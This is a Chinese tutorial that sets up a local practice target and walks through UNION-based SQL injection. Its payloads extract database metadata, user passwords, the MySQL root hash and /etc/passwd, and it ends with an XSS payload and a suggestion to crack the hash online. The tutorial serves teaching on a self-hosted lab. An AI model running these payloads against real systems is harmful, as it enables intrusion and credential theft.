1. 环境搭建
搭建一个简单的靶机环境,运用到简单的html,php,sql语句的知识,进行简单的sql注入
1.1 准备工作
1.1.1 下载,并解压靶机包
- 点进仓库,选择下载
- 将下载好的靶机包解压到你的
phpstudy_pro安装路径
下的www目录
下,并重命名为为sqlin
1.1.2 配置php网站环境
- 本次靶机需要的php版本为
php5.x
,版本过高将无法启动,请手动切换php版本
- 开启
mysql
和nginx
服务
- 打开
db-creds.inc
文件的修改数据库配置
1.2 测试环境
打开谷歌浏览器在地址栏中输入127.0.0.1/sqlin/
,回车
- 选择关卡
- 出现以下画面即为靶机环境搭建成功
2. union操作符
2.1 union介绍
SQL UNION 操作符可以合并两个或多个 SELECT 语句的结果。
2.2 union作用
- UNION后面可以继续接SELECT语句
- UNION可以跨表查询
- UNION后面查到的结果的列数要和前面的语句一样
- 如果UNION前面的条件执行结果为False,则只显示UNION后面的结果
3. sql注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先
定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据
库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
3.1 手动注入
- 在地址栏后追加输入
index.php?id=1
猜测 : index.php
这个php文件,接收我们在地址栏输入的id=1
的这个值,然后拼接成对应的sql语句
去数据
库查询对应的记录,然后将内容返回到页面上,即我们看到的这一部分
3.2 判断是否存在注入点
在地址栏输入:
id=1'
直接SQl语法错误报错,说明后台的php文件没有对我们输入的值做过滤限制,直接将我们输入的内容与sql语句拼
接,然后去数据库查询,说明这个站点存在sql注入漏洞
,也就是说我们可以将sql语句输入在地址栏中,然后后
台接收到值,直接去数据库中查询,即执行sql语句。
3.3 获取列
- 依次输入下面sql语句,判断当前表有几列
id=1 order by 1
id=1 order by 2
id=1 order by 3
id=1 order by 4
当输入第四句时,报错
Unknown column
说明他在当前表找不到第四列,由此可以判断当前表只有三列
3.4 获取列在网页上的显示位置
id=-1 union select 1,2,3
# 当union前面的语句为False就显示后面的查询结果
# 但是要保证前后显示的列数相同
出现以上画面,可以推断出当前页面上显示表的第二列是用户名,第三列是密码,我们可以通过指定union前面的
查询结果为False,然后再union后面显示我们想要获取的信息
3.5 获取数据库信息
-- 获取当前连接数据库的用户名和ip
UNION select 1,USER(),3
-- 获取服务端口号
UNION select 1,@@port,3
-- 获取数据库存放路径
UNION select 1,@@datadir,3
-- 获取数据库版本,拿到版本可以去网上收集这个版本数据库存在的漏洞
UNION select 1,@@version,3
3.6 获取库
-- 获取数据库库名
UNION select 1,DATABASE(),3
3.7 获取表
在mysql数据库中有一个自带的information_schema库
,这个库里面有一张TABLES表
,表里面存放着你创建
的所有库和库里面的表的信息。
- TABLE_SCHEMA 存放库名
- TABLE_NAME 存放表名
-- 获取库中的表
id=-1 union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA = 'security'
3.8 获取字段
- COLUMNS 这个表里面存放着所有的列信息,即所有表的字段信息
- COLUMNS_NAME 列名,即字段名
-- 获取表中的字段
id=-1 union select 1,group_concat(COLUMN_NAME),3 from information_schema.COLUMNS where TABLE_SCHEMA = "security" and TABLE_NAME = 'users'
-- 指定库再指定表,否则可能出现不同的库下面有相同的表
3.9 获取字段值
-- 获取字段值
id=-1 union select 1,username,password from security.users where username like "admin%"
3.10 获取mysql密码
-- 获取mysql密码
id=-1 union select 1,concat_ws(0x3A,user,authentication_string
),3 from mysql.user where user = "root"
81F5E21E35407D884A6CD4A731AEBFB6AF209E1B一串MD5摘要后的字符串,可以通过去网上撞库查看
3.11 获取任意文件内容
-- 获取文件内容
UNION SELECT 1,load_file('/etc/passwd'),3
UNION SELECT 1,load_file('/tmp/passwd.txt'),3
3.12 xss弹窗
UNION SELECT 1,<script>alert("XSS via SQL injection");</script>,3